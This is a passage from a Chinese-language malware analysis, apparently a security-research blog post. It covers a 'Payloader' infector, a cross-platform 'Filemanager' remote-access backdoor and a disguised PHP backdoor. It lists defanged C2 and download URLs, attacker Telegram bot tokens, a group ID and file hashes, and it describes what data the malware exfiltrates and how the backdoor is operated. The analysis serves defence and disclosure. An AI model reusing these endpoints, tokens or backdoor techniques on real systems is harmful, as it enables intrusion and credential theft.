&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">通过以下代码片段构建curl下载命令，其中url指向Filemanager后门的安装脚本下载地址</span><span leaf=""><a href="https://wpsock[.]com/cpanel/install.sh。" target="_blank">https://wpsock[.]com/cpanel/install.sh。</a></span><code></code></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="payload_filemg.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000874" data-ratio="0.13472706155632985" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-type="png" data-w="861" src="https://wechat2rss.xlab.app/img-proxy/?k=01b3fcf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zblY3jDt8OUWgDy5GsibBrH1rr2vHeCBPe7guyuhOZkFA0tqv3YzSLGNP0lc6ibwgAgHgjPj8PibahCPTdZE4AwhIm0QueNXSswU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">install.sh中的代码表明Filemanager是一个跨平台的后门，支持Darwin，Linux,Windows3个主流操作系统。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="payload_install.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000875" data-ratio="0.7490494296577946" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-type="png" data-w="526" src="https://wechat2rss.xlab.app/img-proxy/?k=55b9ccc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wbOeUpC8twyJhmVWIwQC1yehE2CbunxcUz5WnHDiaHkicyDz8MPotzGtNQwYCajLxoib7yMf2GQiavLsuDcdZgeLibXnrbEet6uoZU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><ol class="list-paddingleft-1" start="5"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">敏感的信息回传至C2，对应的处理函数为main_postData</span></p></li></ol><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">收集被入侵系统的bash历史记录，ssh，设备信息，数据库密码，Valiases配置等敏感信息，回传到黑客服务器。回传接口为</span><span leaf=""><a href="https://cp.dene.de[.]com/collect.php" target="_blank">https://cp.dene.de[.]com/collect.php</a></span><code></code></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="payload_post.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="109" data-backw="572" data-imgfileid="100000877" data-ratio="0.19055944055944055" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="572" src="https://wechat2rss.xlab.app/img-proxy/?k=705ef008&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wEMiahTcsF5IbTNlX63JaPGIpkk84rXjvF4qZLzbI3ia6zXHO7J1AklhBvGiaxHejwzuzDbdHK27qqze7WCVMr8UpDZP7qmBd7JA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ol class="list-paddingleft-1" start="6"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">敏感信息回传至回传到Telegram，对应的处理函数为main_sendTelegram或main_sendTelegramFile</span></p></li></ol><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">除了main_postData这种方式，Payloader感染器还支持一条冗余的Telegram回传通道，接收信息的群组ID为-443071772。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="payload_telegram.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="99" data-backw="578" data-imgfileid="100000876" data-ratio="0.17178612059158135" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="879" src="https://wechat2rss.xlab.app/img-proxy/?k=b6c94823&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xKNxM5xPnnQ1QydpMHeEr3ViboSicO5r71sELytRQejxL51CS1vESYCREU31CeIWib4bWPiaYJU7C5wjpun0eX2sYHWFvfcgW4AD8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">众所周知，使用Telegram Bot进行数据传递，必须配置Token，目前一共发现以下2个Token，它们对应的其实都是一个名为&#34;log_FatherBot&#34;的bot，只不过前者已被废除。</span></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">1190043163:AAEy1FDoB_r8KFiOIqsEpgDQ2k78Ai6BdWk</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">1190043163:AAFtaUfpui9fqKoRnqOa5XvT6MHLcK1axiU</span></p></li></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">知道Token以及群组ID之后，我们通过getChatAdministrators接口发现这个群组的创建者为0xWR，遗憾的是他的个人简介中并没有暴露更多信息。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="payload_teleuser.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="325" data-backw="578" data-imgfileid="100000881" data-ratio="0.5619047619047619" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="840" src="https://wechat2rss.xlab.app/img-proxy/?k=4fe29487&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yYicghMApPyCW8iaJH3QPoRFUQw5kxpA3F37My1zaXvv7NFJIdz0CibJ1oCVDBSdGBheOhiamEYiaHlibAmxicllntEl2XFkuibibE3xDU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">5月4日，用户 xrill_y 使用第一个 token 向 Bot 发送了消息。Mr_rot13 迅速响应，在新样本中直接作废该 token 并启用了新 token。随后，xrill_y似乎为了隐藏，将用户名改为 iudcbjrfv。根据现在的线索，我们无法确定 xrill_y 的真实身份，但倾向于认为他是一名安全研究人员。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="payload_suspect.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="392" data-backw="578" data-imgfileid="100000879" data-ratio="0.6777920410783055" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="779" src="https://wechat2rss.xlab.app/img-proxy/?k=a95599b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yg8wFv0dEGRLTVIIJ7RnyR3Ib0kfarFddR0VSBsaSIrBxgu85JUiaoV4q4PKLS5TbdiaalFeBX4wH2pxnjqcMV38E2kRKG9chO8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">Filemanager远控</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Filemanager后门是一个跨平台的远控木马，支持Darwin，Linux，Windows三大主流操作系统。本文以Linux, AMD64 CPU架构的样本为主要分析对象，它的基本信息如下所示：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">MD5</span>: <span class="code-snippet__number">9305</span>b4ebbb4d39907cf36b62989a6af3</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">MAGIC</span>: ELF <span class="code-snippet__number">64</span>-bit LSB executable, x86-<span class="code-snippet__number">64</span>, version <span class="code-snippet__number">1</span> (SYSV), statically linked, stripped</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Name</span>: filemanager-linux-amd64</span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Filemanager 支持大量参数，具体用法请参考帮助信息，本文不再逐一赘述。需特别注意的是，该工具不支持直接传递明文密码。正确的做法是：先用 -hash 参数对目标密码生成 bcrypt 哈希值，再将生成的哈希值通过 -pass-hash 参数传入。 在 Shell 环境中，必须使用单引号将 bcrypt 哈希值括起来（例如 &#39;$2a$10$...&#39;），否则 $ 符号会被解释为变量，导致密码无效。</span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img alt="filemanager_usage.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="314" data-backw="578" data-imgfileid="100000882" data-ratio="0.5435185185185185" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4c2c1ace&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wibS0SVUWJ3dDZAgeBWRMIhGINOwCO66DxYYBNcHegsE8704ic2bbbqRsId6B80icVKTIapClls57fM7aGZEmBicr3qdj8sYWed0g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Filemanager 运行时监听 port 参数指定的端口，通过 Web 页面为攻击者提供远程管理被入侵系统的通道。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="filemanager_route.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="226" data-backw="578" data-imgfileid="100000880" data-ratio="0.3916083916083916" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="715" src="https://wechat2rss.xlab.app/img-proxy/?k=8c67d62a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xGdCHtqQZquq2m2umypSwAANqyJxiaNiaae3kErnqn08PnmGa9uMRfOtvw3v4OwetrKPzQTRHlKRibcVE85OMwFfAlb2RPqwMK48%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">为了演示它的功能，我们在测试设备中启动filemanager，并指定用户名&amp;密码，端口为9999。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="filemanager_test.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="155" data-backw="578" data-imgfileid="100000883" data-ratio="0.26851851851851855" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=23bfef3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yL9ibpEHoDAbe61p0hhkC5zWp1kibAeUhaNicGGr5uPp5QIB46tNy086BhibuUaFvIJuyYqueQ9rNJ4q3RAMxYDwCtcBMUVdaZB6U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">此时通过浏览器访问测试设备的9999端口，即可进入操作页面，非常典型的远控操作台，支持文件管理，远程命令执行以及SHELL功能。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="filemanager_page.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="265" data-backw="578" data-imgfileid="100000887" data-ratio="0.4583333333333333" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=21161b98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xEbbOogmdUr8RktSJWHQTVA3KvHzj2v9MNQwribpZXS7EmD7HDI34p4newEjJHLXicLic2MQnjoeyqSbnE0BibnCPApiaIAXUibVjes%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">2022年至今0检测的PHP后门</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在溯源过程中，我们发现了一个2022年上传到VirusTotal，名为helper的PHP文件，该文件存在和</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">wrned.com</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">通信的行为，经过分析，我们确认它是一个PHP后门。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><code><span leaf=""><span class="code-snippet__attribute">MD5</span><span class="code-snippet__punctuation">: </span>2286f126ab4740ccf2595ad1fa0c615c</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Magic</span><span class="code-snippet__punctuation">: </span>PHP script text</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Name</span><span class="code-snippet__punctuation">: </span>helper.php</span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">该文件由2部分组成，前部分代码来自WordPress系统文件options.php，从</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">&lt;/script&gt;*/</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">之后为混淆的恶意代码。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="helperphp_code.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="227" data-backw="578" data-imgfileid="100000885" data-ratio="0.3923865300146413" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="683" src="https://wechat2rss.xlab.app/img-proxy/?k=58ea0324&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wwKozWUlMtukhjc5Yy6tRonEowTDABl5ibdIkzCy0SeOsbWAlhJHziariaopR2E37plcEueKjn1KUPC90PdFHoLlAuSmwFQ66jWQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 